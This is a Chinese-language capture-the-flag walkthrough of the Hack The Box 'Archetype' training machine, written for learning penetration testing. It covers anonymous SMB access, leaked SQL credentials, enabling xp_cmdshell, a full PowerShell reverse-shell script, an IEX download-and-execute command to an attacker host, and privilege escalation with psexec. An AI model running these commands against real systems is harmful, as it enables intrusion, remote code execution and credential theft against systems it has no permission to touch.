前言
Starting Point->Connect to Starting Point,下拉下載你的vpn文件
得到的.ovpn文件可以直接放在kali,執行openvpn XXX.opvn即可連接到靶場

信息收集
靶場地址:10.10.10.27
先上nmap:
nmap -sC -sV 10.10.10.27
- -sC:使用默認腳本進行掃描,等同於–script=default
- -sV:探測開啟的端口來獲取服務、版本信息
得到信息如下:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-06-23T05:35:15
|_Not valid after: 2051-06-23T05:35:15
|_ssl-date: 2021-06-23T05:58:16+00:00; +18m27s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h42m26s, deviation: 3h07m50s, median: 18m26s
| ms-sql-info:
| 10.10.10.27:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-06-22T22:58:01-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-23T05:58:05
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
smb匿名訪問
可以看到445端口和1433端口是開放的,分別對應的是smb和sql server服務。
這值得我們去檢查它是否存在匿名訪問許可,因為共享文件里通常會儲存一些密碼或者敏感信息的配置文件。我們可以嘗試去查看有哪些共享文件。(smbclient命令詳解:http://www.linuxso.com/command/smbclient.html )
smbclient -N -L //10.10.10.27/
- -N:匿名登錄
- -L:獲取共享資源列表
發現一個backups的目錄
我們嘗試匿名訪問:
smbclient -N //10.10.10.27/backups
ls查看,有一個prod.dtsConfig文件
我們可以進行查看more prod.dtsConfig
也可以下載下來查看:get prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
從這個信息中我們得到sql server的用戶和密碼
impacket工具
接下來是工具impacket的下載和使用
我們可以使用docker安裝
拉取鏡像:docker build -t "impacket:latest"
創建容器: docker run -it --rm "impacket:latest"
也可以使用git下載:git clone https://github.com/CoreSecurity/impacket.git
此處也提供一個藍奏雲下載鏈接:藍奏雲,密碼:9hkk
安裝
安裝的時候可能會遇到一些環境兼容的問題,此處我使用的kali2020,由於多久沒有使用了,先apt-get update一波,然后再安裝python3,apt-get install python3 -y:
解壓並安裝:
unzip impacket-master.zip
cd impacket/
python3 -m pip install .
安裝完成后,可以進去看有哪些腳本:cd impacket/examples
我們需要的腳本是mssqlclient.py
利用前面泄露的id和密碼登陸(ARCHETYPE\sql_svc和M3g4c0rp123)
使用腳本(mssqlclient.py user@ip -windows-auth,我們可以直接運行mssqlclient.py,會有如何使用的提示):
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
輸入密碼:M3g4c0rp123
執行SELECT IS_SRVROLEMEMBER('sysadmin'),查看權限
返回值是1,代表true,說明當前用戶具有sysadmin權限,能夠在靶機上使用SQL Server的xp_cmdshell來進行遠程代碼執行
我們可以執行下列代碼:
EXEC sp_configure 'Show Advanced Options', 1; \\使用sp_configure系統存儲過程,設置服務器配置選項,將Show Advanced Options設置為1時,允許修改數據庫的高級配置選項
reconfigure; \\確認上面的操作
sp_configure; \\查看當前sp_configure配置情況
EXEC sp_configure 'xp_cmdshell', 1 \\使用sp_configure系存儲過程,啟用xp_cmdshell參數,來允許SQL Server調用操作系統命令
reconfigure; \\確認上面的操作
xp_cmdshell "whoami" \\在靶機上調用cmdshell執行whoami
shell反彈
獲取操作系統普通用戶權限前,我們擁有了數據庫的shell,也可以使用部分操作系統的命令,但是需要一個直接的操作系統shell來進行后續的操作
在桌面建立一個powershell的反彈shell文件shell.ps1(注意修改其中的ip地址為接收shell的kali主機的地址),代碼如下:
$client = New-Object System.Net.Sockets.TCPClient("192.168.15.128",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
文件格式是powershell,后綴是.psl,我們暫且命名為shell.psl
kali中利用python搭建小型web服務:python3 -m http.server 80
開啟監聽:nc -lvnp 443
數據庫shell執行(ip記得替換):
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.15.128/shell.ps1\");"
在此處的時候我遇到了如下問題,執行回顯不能連接遠程服務器(我后續想了一下,難道是kali機的防火牆的問題,不對啊,http://192.168.15.128也能訪問的,難道是不在10段被過濾了?后續就沒有再去驗證了,希望有知道原因的讀者可以指點一下筆者,在此多謝了):
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.15.128/shell.ps1\");"
output
--------------------------------------------------------------------------------
Exception calling "DownloadString" with "1" argument(s): "Unable to connect to the remote server"
At line:1 char:1
+ IEX (New-Object Net.WebClient).DownloadString("http://192.168.15.128/ ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
NULL
SQL>
據網友的截圖顯示如下,說明成功:

可以看到有一個user.txt
netcat中執行:type C:\Users\sql_svc\Desktop\user.txt
由於這是一個普通的用戶帳戶以及服務帳戶,因此通常檢查訪問文件或執行的命令。我們可以使用下面的命令訪問PowerShell歷史文件。
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Console Host_history.txt
提權
發現administrator用戶登錄后將共享文件夾\Archetype\backups映射到T盤,后面是administrator用戶名和它的密碼(administrator和MEGACORP_4dm1n!!),可以使用Impacket中的psexec.py來提權:
psexec.py administrator@10.10.10.27
執行以下命令獲取管理員的flag:type C:\Users\Administrator\Desktop\root.txt
flag:b91ccec3305e98240082d4474b848528
參考
部分參考:https://blog.csdn.net/qq_45951598/article/details/115269502
以及參考官方wp:有時間再放個官方wp文件的鏈接
